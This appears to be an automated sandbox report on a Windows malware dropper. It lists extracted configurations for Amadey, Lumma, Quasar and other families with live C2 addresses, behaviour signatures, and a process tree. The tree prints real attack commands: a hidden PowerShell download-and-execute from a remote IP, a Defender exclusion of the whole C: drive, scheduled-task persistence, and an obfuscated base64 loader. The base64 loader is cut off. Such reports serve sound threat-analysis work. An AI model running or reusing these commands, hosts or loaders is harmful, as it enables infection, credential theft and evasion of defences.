Overview

overview

10

Static

static

5

2025-04-06...er.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    132s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/04/2025, 13:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-04-06_157c7edc26fa7d289b3ce9ea7216b5c8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

  • Size

    938KB

  • MD5

    157c7edc26fa7d289b3ce9ea7216b5c8

  • SHA1

    683b9760a0200f2c14e627b41f3bc12942f28220

  • SHA256

    eb38bc2ecfa1e5f1092f1f3053d15696e10cc2bc65294bfb20189a0e46c8868d

  • SHA512

    3b65eac53c031982e292bbd80a9c2ecc536223ddd15bf5fc2c6583ddabd440507ff07547794973bb02de4d9e086f68691d04b8c0bdecf3f0c5bc84bbae5fdd39

  • SSDEEP

    24576:pqDEvCTbMWu7rQYlBQcBiT6rprG8a03u:pTvC/MTQYxsWR7a03

Score
10/10
amadeydarkvisiongcleanerlummaquasar092155office04bootkitdefense_evasiondiscoveryexecutionloaderpersistenceprivilege_escalationratspywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://plantainklj.run/opafg

https://jrxsafer.top/shpaoz

https://puerrogfh.live/iqwez

https://quavabvc.top/iuzhd

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://rambutanvcx.run/adioz

https://ywmedici.top/noagis

https://pepperiop.digital/oage

https://.ywmedici.top/noagis

https://navstarx.shop/FoaJSi

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

https://starcloc.bet/GOksAo

https://spacedbv.world/EKdlsk

https://galxnetb.today/GsuIAo

Extracted

Family

gcleaner

C2

185.156.73.98

45.91.200.135

Extracted

Family

darkvision

C2

82.29.67.160

Attributes
  • url

    http://107.174.192.179/data/003

    https://grabify.link/ZATFQO

    http://107.174.192.179/clean

  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Extracted

Family

quasar

Version

1.5.0

Botnet

Office04

C2

goku92ad.zapto.org:5000

Mutex

a0766e5c-a1d1-4766-a1f5-4e4f9f9fe35a

Attributes
  • encryption_key

    BF72099FDBC6B48816529089CF1CF2CF86357D14

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Modded Client Startup

  • subdirectory

    SubDir

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • DarkVision Rat

    DarkVision Rat is a trojan written in C++.

    ratdarkvision
  • Darkvision family
    darkvision
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar family
    quasar
  • Quasar payload 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 11 IoCs
    defense_evasion
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 17 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Sets service image path in registry 2 TTPs 6 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 22 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 34 IoCs
  • Identifies Wine through registry keys 2 TTPs 11 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs
    defense_evasion
  • Loads dropped DLL 25 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 11 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 2 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 47 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-04-06_157c7edc26fa7d289b3ce9ea7216b5c8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-04-06_157c7edc26fa7d289b3ce9ea7216b5c8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1968
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn lruGUmaTLOZ /tr "mshta C:\Users\Admin\AppData\Local\Temp\dKmy9up1r.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1240
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn lruGUmaTLOZ /tr "mshta C:\Users\Admin\AppData\Local\Temp\dKmy9up1r.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:932
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\dKmy9up1r.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1344
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'AM5ZOLB8J75FT2GTUI28ALCVQPUULULK.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5696
        • C:\Users\Admin\AppData\Local\TempAM5ZOLB8J75FT2GTUI28ALCVQPUULULK.EXE
          "C:\Users\Admin\AppData\Local\TempAM5ZOLB8J75FT2GTUI28ALCVQPUULULK.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2396
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:6056
            • C:\Users\Admin\AppData\Local\Temp\10477200101\mtCxnCB.exe
              "C:\Users\Admin\AppData\Local\Temp\10477200101\mtCxnCB.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:5220
            • C:\Users\Admin\AppData\Local\Temp\10478400101\2f77fa74e4.exe
              "C:\Users\Admin\AppData\Local\Temp\10478400101\2f77fa74e4.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:3604
              • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                "C:\Users\Admin\AppData\Local\Temp\10478400101\2f77fa74e4.exe"
                7⤵
                • Downloads MZ/PE file
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:5248
            • C:\Users\Admin\AppData\Local\Temp\10478410101\39c94fe8c8.exe
              "C:\Users\Admin\AppData\Local\Temp\10478410101\39c94fe8c8.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1940
              • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                "C:\Users\Admin\AppData\Local\Temp\10478410101\39c94fe8c8.exe"
                7⤵
                • Downloads MZ/PE file
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:3040
            • C:\Users\Admin\AppData\Local\Temp\10478420101\mtCxnCB.exe
              "C:\Users\Admin\AppData\Local\Temp\10478420101\mtCxnCB.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2328
            • C:\Users\Admin\AppData\Local\Temp\10478430101\VrQSuEQ.exe
              "C:\Users\Admin\AppData\Local\Temp\10478430101\VrQSuEQ.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:2396
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                7⤵
                  PID:836
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:6092
              • C:\Users\Admin\AppData\Local\Temp\10478440101\UZPt0hR.exe
                "C:\Users\Admin\AppData\Local\Temp\10478440101\UZPt0hR.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: MapViewOfSection
                PID:2640
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
                  7⤵
                    PID:5116
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell.exe Add-MpPreference -ExclusionPath 'C:'
                      8⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3260
                  • C:\Windows\system32\svchost.exe
                    "C:\Windows\system32\svchost.exe"
                    7⤵
                    • Downloads MZ/PE file
                    • Adds Run key to start application
                    PID:5304
                    • C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
                      "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
                      8⤵
                      • Executes dropped EXE
                      PID:5768
                    • C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
                      "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
                      8⤵
                      • Deletes itself
                      • Executes dropped EXE
                      PID:5116
                      • C:\Users\Admin\AppData\Local\Temp\{28a565e8-f1a5-4ec7-97e4-1a433f73389b}\49993f1a.exe
                        "C:\Users\Admin\AppData\Local\Temp\{28a565e8-f1a5-4ec7-97e4-1a433f73389b}\49993f1a.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot
                        9⤵
                        • Executes dropped EXE
                        • Checks for VirtualBox DLLs, possible anti-VM trick
                        • System Location Discovery: System Language Discovery
                        PID:10940
                        • C:\Users\Admin\AppData\Local\Temp\{4c367bc6-a84b-4109-94ac-b23a8e6196d9}\de52ffae.exe
                          C:/Users/Admin/AppData/Local/Temp/{4c367bc6-a84b-4109-94ac-b23a8e6196d9}/\de52ffae.exe -accepteula -adinsilent -silent -processlevel 2 -postboot
                          10⤵
                          • Drops file in Drivers directory
                          • Sets service image path in registry
                          • Executes dropped EXE
                          • Impair Defenses: Safe Mode Boot
                          • Loads dropped DLL
                          • Adds Run key to start application
                          • Enumerates connected drives
                          • Writes to the Master Boot Record (MBR)
                          • Checks for VirtualBox DLLs, possible anti-VM trick
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: LoadsDriver
                          • Suspicious use of AdjustPrivilegeToken
                          PID:6632
                • C:\Users\Admin\AppData\Local\Temp\10478450101\RYZusWg.exe
                  "C:\Users\Admin\AppData\Local\Temp\10478450101\RYZusWg.exe"
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1196
                • C:\Users\Admin\AppData\Local\Temp\10478460101\n0hEgR9.exe
                  "C:\Users\Admin\AppData\Local\Temp\10478460101\n0hEgR9.exe"
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:10544
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:10596
                • C:\Users\Admin\AppData\Local\Temp\10478470101\LJl8AAr.exe
                  "C:\Users\Admin\AppData\Local\Temp\10478470101\LJl8AAr.exe"
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:11308
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:11376
                • C:\Users\Admin\AppData\Local\Temp\10478480101\larBxd7.exe
                  "C:\Users\Admin\AppData\Local\Temp\10478480101\larBxd7.exe"
                  6⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Drops file in Windows directory
                  • System Location Discovery: System Language Discovery
                  PID:11896
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c copy Cattle.psd Cattle.psd.bat & Cattle.psd.bat
                    7⤵
                    • System Location Discovery: System Language Discovery
                    PID:12136
                    • C:\Windows\SysWOW64\tasklist.exe
                      tasklist
                      8⤵
                      • Enumerates processes with tasklist
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:7160
                    • C:\Windows\SysWOW64\findstr.exe
                      findstr /I "opssvc wrsa"
                      8⤵
                      • System Location Discovery: System Language Discovery
                      PID:7164
                    • C:\Windows\SysWOW64\tasklist.exe
                      tasklist
                      8⤵
                      • Enumerates processes with tasklist
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:7696
                    • C:\Windows\SysWOW64\findstr.exe
                      findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                      8⤵
                      • System Location Discovery: System Language Discovery
                      PID:7712
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c md 689912
                      8⤵
                      • System Location Discovery: System Language Discovery
                      PID:7856
                    • C:\Windows\SysWOW64\extrac32.exe
                      extrac32 /Y /E Exclusion.psd
                      8⤵
                      • System Location Discovery: System Language Discovery
                      PID:3960
                    • C:\Windows\SysWOW64\findstr.exe
                      findstr /V "users" Findarticles
                      8⤵
                      • System Location Discovery: System Language Discovery
                      PID:4640
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c copy /b 689912\Jordan.com + Bg + Batteries + Boss + Illustrations + Boards + Within + Pushed + Brunei + Dead 689912\Jordan.com
                      8⤵
                      • System Location Discovery: System Language Discovery
                      PID:3672
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c copy /b ..\Customized.psd + ..\Permits.psd + ..\Teeth.psd + ..\Feel.psd + ..\Nonprofit.psd + ..\Shoes.psd + ..\Bruce.psd b
                      8⤵
                      • System Location Discovery: System Language Discovery
                      PID:6372
                    • C:\Users\Admin\AppData\Local\Temp\689912\Jordan.com
                      Jordan.com b
                      8⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      PID:4904
                    • C:\Windows\SysWOW64\choice.exe
                      choice /d y /t 5
                      8⤵
                      • System Location Discovery: System Language Discovery
                      PID:6760
                • C:\Users\Admin\AppData\Local\Temp\10478490101\qhjMWht.exe
                  "C:\Users\Admin\AppData\Local\Temp\10478490101\qhjMWht.exe"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:10712
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10478501121\5uMVCoG.cmd"
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:10808
                • C:\Users\Admin\AppData\Local\Temp\10478510101\amnew.exe
                  "C:\Users\Admin\AppData\Local\Temp\10478510101\amnew.exe"
                  6⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Drops file in Windows directory
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of FindShellTrayWindow
                  PID:13216
                  • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                    "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
                    7⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • System Location Discovery: System Language Discovery
                    PID:7080
                    • C:\Users\Admin\AppData\Local\Temp\10053300101\cae1c578a6.exe
                      "C:\Users\Admin\AppData\Local\Temp\10053300101\cae1c578a6.exe"
                      8⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious use of SetThreadContext
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4444
                      • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                        "C:\Users\Admin\AppData\Local\Temp\10053300101\cae1c578a6.exe"
                        9⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:12472
                    • C:\Users\Admin\AppData\Local\Temp\10053310101\bd439de25d.exe
                      "C:\Users\Admin\AppData\Local\Temp\10053310101\bd439de25d.exe"
                      8⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious use of SetThreadContext
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1584
                      • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                        "C:\Users\Admin\AppData\Local\Temp\10053310101\bd439de25d.exe"
                        9⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:548
                • C:\Users\Admin\AppData\Local\Temp\10478520101\83a08d4257.exe
                  "C:\Users\Admin\AppData\Local\Temp\10478520101\83a08d4257.exe"
                  6⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Writes to the Master Boot Record (MBR)
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5272
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10478531121\ccosvAs.cmd"
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:12852
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10478531121\ccosvAs.cmd"
                    7⤵
                    • System Location Discovery: System Language Discovery
                    PID:5036
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3